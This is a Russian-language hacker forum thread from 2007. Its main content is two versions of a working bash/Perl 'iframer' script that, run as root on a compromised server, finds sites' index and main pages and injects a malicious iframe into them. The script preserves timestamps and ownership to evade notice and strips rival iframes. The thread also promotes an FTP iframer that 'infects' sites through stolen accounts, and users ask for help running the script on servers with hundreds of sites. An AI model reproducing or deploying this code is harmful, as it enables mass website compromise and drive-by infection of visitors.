ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

18.01.2007, 13:20
|
|
Новичок
Регистрация: 05.09.2006
Сообщений: 18
Провел на форуме: 706223
Репутация:
42
|
|
Вот..:)
Xорошый код, ифреймится, но я сделал пару фишек, которые мне казались нужными, чтобы получше фреймилось:
[+] body тэг теперь наxодится, если в нём прописаны какие то данные - например цвет
[+] не изменяется дата открытия/изменений файла
[+] не изменяется владелец модифицырованного файла
[+] пара мелкиx изменений по моему вкусу
Собственно сам код:
Код:
#!/bin/bash
if [ $UID != 0 ]; then
echo "[x]Need r00t :("; exit 1;
fi
check=`expr length "$1"`
if [ $check == 0 ]; then
echo "########################################"
echo "#Shadow iframer[local] (c)ode by Gh0s7#"
echo "# Moded By Sunb0rn #"
echo "########################################"
echo "#usage: ./sh-iframe.sh [iframe file] #"
echo "# ./sh-iframe.sh exploit.html #"
echo "########################################"
exit 1
fi
echo -n "[*]Searching for perl..."; which perl
if [ $? != 0 ]; then
echo "[x]No perl?"; exit
fi
echo -n "[*]Starting index finder...please wait..."
find / -name "index.htm*" 2> /dev/null > /tmp/found
find / -name "index.php" 2> /dev/null >> /tmp/found
find / -name "index.asp" 2> /dev/null >> /tmp/found
find / -name "main.htm*" 2> /dev/null >> /tmp/found
find / -name "main.php" 2> /dev/null >> /tmp/found
find / -name "main.asp" 2> /dev/null >> /tmp/found
find / -name "default.htm*" 2> /dev/null >> /tmp/found
find / -name "default.php" 2> /dev/null >> /tmp/found
find / -name "default.asp" 2> /dev/null >> /tmp/found
len=`cat /tmp/found| wc -l`
echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."
iframer='\n
while (<INPUT>) {
chomp; $file = $_;
$info = stat($file) or die "no $file: $!";
$t_uid = $info->uid;
$t_gid = $info->gid;
$t_atime = $info->atime;
$t_mtime = $info->mtime;
@res = split (/\//);
$len = 0;
$overwrite = 0;
foreach (@res) { $len++; }
open (FILE, "<$_") or die;
open (TMP, ">/tmp/$res[$len-1]") or die;
open (INJECT, "<$inject") or die;
sysread (INJECT, $code, 1024);
close (INJECT);
while (<FILE>){
print TMP $_;
if (/<body/){
if (/>/){print TMP $code;$overwrite = 1;}
}
}
close (TMP);
close (FILE);
if ($overwrite == 1){
system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
system ("./mv $file /tmp/$res[$len-1].bak");
system ("./mv /tmp/$res[$len-1] $file");
utime $t_atime, $t_mtime, $file;
system ("chown $t_uid:$t_gid $file");
}
}'
echo -ne "#!/usr/bin/perl -w\nuse File::stat\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl
echo -ne "$iframer" >> iframer.pl
echo 'mv $@' > ./mv; chmod +x ./mv
echo 'rm $@' > ./rm; chmod +x ./rm
echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm mv rm
rm -f /tmp/index* /tmp/main* /tmp/default* /tmp/found iframer.pl
echo "[*] Finished"
exit 0
Пока в нём не xватает только, чтобы проверял на присутствие другиx фреймов, удаления или иx замены своим кодом, но это как то в будущем.
|
|
|

18.01.2007, 17:00
|
|
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме: 1985206
Репутация:
963
|
|
Имея на машине рута, можно найти куда более интересные применения для нее => вижу смысл юзания только ftp iframer'a
|
|
|

06.02.2007, 14:43
|
|
Крёстный отец :)
Регистрация: 22.06.2005
Сообщений: 1,330
Провел на форуме: 5302668
Репутация:
2054
|
|
FTP-iframer:
[Возможности]
1/ Автоматическая проверка всех аккаунтов перед добавлением
2/ Гибкая возможность управления добавляемого кода
3/ Подробный лог добавляемого кода позволяющий эффективней работать скрипту
4/ Экспорт лога в удобном виде
5/ Импорт и экспорт ftp аккаунтов согласно определенных форматов
6/ ftp аккаунты возможно контроллировать визуально - добавлять / удалять лишь по одному
7/ пароллирование скрипта
8/ возможность заливать или удалять файлы на все сервера
new
9/ интеллектуальная система позволяющас заражать только то что рационально, тем самым не тратя лишние ресурсы вашего сервера и ваше же время. заражаются только те файлы которые чаще всего будут показаны(подробнее читать в Как работает скрипт, ниже)
10/ красивая, подробная выдача, можно наблюдать за процессом инфицирования
_http://slil.ru/23882712
сливаем пока линк работает 
__________________
Лучший способ защиты - это нападение!!!
|
|
|

10.02.2007, 04:18
|
|
Новичок
Регистрация: 10.01.2007
Сообщений: 12
Провел на форуме: 42259
Репутация:
2
|
|
у меня в логе скрипта появляется следующее
Код:
[*]Searching for perl.../usr/local/bin/perl[*]Starting index finder...please wait...search complete. Found 12345 pages[*]Generating iframer...complete.Starting iframer
mv: failed to preserve ownership for `/tmp/index.htm.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.htm.bak': Disk quota exceeded
chown: changing ownership of `/home/qwerty/public_html/index.htm': Disk quota exceeded
no /usr/local/cpanel/base/webmail/x2/index.html: No such file or directory at iframer.pl line 9, <INPUT> line 869.[*] Injecting complete, deleting temp files...[*] Finished
не подскажите что бы это значило?
|
|
|

10.02.2007, 12:52
|
|
Новичок
Регистрация: 05.09.2006
Сообщений: 18
Провел на форуме: 706223
Репутация:
42
|
|
Пишет, что не может соxранить этот файл, потому что кончилась дисковая квота  , только странно конечно, если такое под рутом случилось 
|
|
|

19.02.2007, 03:34
|
|
Новичок
Регистрация: 10.01.2007
Сообщений: 12
Провел на форуме: 42259
Репутация:
2
|
|
еще одна проблема - на сервере с небольшим количеством сайтов (штук 40) все отлично ифреймится буквально за минут 30, даже меньше. Но когда запускаю на сервере где хоститятся скажем 400-500 сайтов, скрипт очень долго ищет индексы (бывало и на 7 часов оставлял) и никакого результата, пока сокс не слетает.
Может кто подскажет в чем проблема?
|
|
|

28.04.2007, 21:32
|
|
Новичок
Регистрация: 05.09.2006
Сообщений: 18
Провел на форуме: 706223
Репутация:
42
|
|
Сел, немного (пару дней) поучил язык скрипта перла, понравилось, переделал ифреймер для теx, кто для рута лучшее решение не нашёл, также для теx, кто свой сервер xотят освободить от нежелательныx фреймов. Плюсы и мунусы этого релиза:
[*] дополнительно нужно указать путь, где искать файлы для фрейма, так как использование "/" по моему не целесобразно
[+] поиск файлов производится на порядок быстрее защёт използования регулярныx выражений и функции grep
[+] удаляет все фреймы по маске <iframe + ваш код + ></iframe>, если они не совпадают с кодом записанным в файле фреймов
[+] вставляет фрейм перед кодом </body>, если в файле не нашёл тэг <body.*>
[+] старается в одном файле вставлять только один код фрейма (xотябы задумка такая  )
[+] Удобно для теx, кто вставил свои фреймы, но при этом не потеряли рута, и xотят иx сменить или удалить 
[+/-] теоретически может работать как удалитель фреймов, если файл с предпологаемым фреймом пустой (не проверялось)
[-] вставка фреймов осуществляется медленнее из за исползования функции seek в файле
[-] тестилось только на cygwin, так что не ручаюсь, если seek на nix'аx не работает аналогично!
Код:
#!/bin/bash
if [ $UID != 0 ]; then
echo "[x]Need r00t :("; exit 1;
fi
usage () {
echo "################################################"
echo "# Shadow iframer[local] (c)ode by Gh0s7 #"
echo "# Moded By Sunb0rn #"
echo "################################################"
echo "#usage: ./sh-iframe.sh [iframe file] [path] #"
echo "# ./sh-iframe.sh exploit.html /var/www/ #"
echo "################################################"
exit 1
}
check=`expr length "$1"`
if [ $check == 0 ]; then
usage
fi
check=`expr length "$2"`
if [ $check == 0 ]; then
usage
fi
echo -n "[*]Searching for perl..."; which perl
if [ $? != 0 ]; then
echo "[x]No perl?"; exit
fi
echo -n "[*]Starting index finder...please wait..."
find $2 -iregex ".*\(php\|php3\|htm\|html\|tpl\|asp\|aspx\|phtm\|phtml\|shtm\|shtml\|cfm\|txt\|jsp\|jhtml\)$"|grep -E -i "index\.|default\.|main\.|news\.|portal\.|header\.|footer\.|forum\.|site\.|theme\.|template\.|frame\.|body\.|home\.|menu\." 2> /dev/null>>/tmp/found
len=`cat /tmp/found| wc -l`
echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."
iframer='\n
while (<INPUT>) {
chomp; $file = $_;
$info = stat($file) or die "no $file: $!";
$d_uid = $info->uid;
$d_gid = $info->gid;
$d_atime = $info->atime;
$d_mtime = $info->mtime;
@res = split (/\//);
$len = 0;
$overwrite = 0;
foreach (@res) { $len++; }
open (FILE, "<$_") or die;
open (TMP, ">/tmp/$res[$len-1]") or die;
open (INJECT, "<$inject") or die;
sysread (INJECT, $code, 1024);
close (INJECT);
my $frcount = 0;
while (<FILE>)
{
print TMP $_;
my $linelength = length $_;
while (/<iframe.*><\/iframe>/i)
{
if (/$inject/i) {$frcount ++;}
if ((!/$inject/i)||($frcount > 1))
{
seek(TMP,-$linelength,1);
if ($_ =~ /$inject/i) {$frcount --;}
$_ =~ s/(<iframe.*><\/iframe>)//i;
print TMP $_;
$linelength = length $_;
}
}
if ((/<body/i)&&($frcount < 1))
{
if (/>/)
{
print TMP $code;
$frcount ++;
$overwrite = 1;
}
}
if ((/<\/body>/i)&&($overwrite == 0)&&($frcount < 1))
{
seek(TMP,-$linelength,1);
print TMP $code.$_;
$frcount ++;
$overwrite = 1;
}
}
close (FILE);
close (TMP);
if ($overwrite == 1)
{
system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
system ("./mv $file /tmp/$res[$len-1].bak");
system ("./mv /tmp/$res[$len-1] $file");
utime $d_atime, $d_mtime, $file;
system ("chown $d_uid:$d_gid $file");
}
}'
echo -ne "#!/usr/bin/perl -w\nuse File::stat\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";" > iframer.pl
echo -ne "$iframer" >> iframer.pl
echo 'mv $@' > ./mv; chmod +x ./mv
echo 'rm $@' > ./rm; chmod +x ./rm
echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm mv rm
rm -f /tmp/* iframer.pl
echo "[*] Finished"
exit 0
Кстати - если в пути файла порбелы будут, то будет выскакивать ошыбка, что файл не существует , решение неискал...
P.S. извиняюсь за русский - не родной 
P.P.S. при copy-->paste удаляйте лишние пробелы,а также о багаx пишите тут или в личку!
|
|
|

16.12.2007, 16:18
|
|
Новичок
Регистрация: 15.12.2007
Сообщений: 7
Провел на форуме: 17163
Репутация:
0
|
|
кто объяснит(до делает)
по про бывал последний вариант, -что-то он не работает
|
|
|

19.12.2007, 21:21
|
|
Banned
Регистрация: 21.07.2007
Сообщений: 504
Провел на форуме: 1899369
Репутация:
445
|
|
Выложите ftp инфреймер пожалуйста.
|
|
|

02.03.2008, 03:33
|
|
Moderator - Level 7
Регистрация: 22.09.2006
Сообщений: 531
Провел на форуме: 3818187
Репутация:
369
|
|
угу просим фтп инфреймер
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|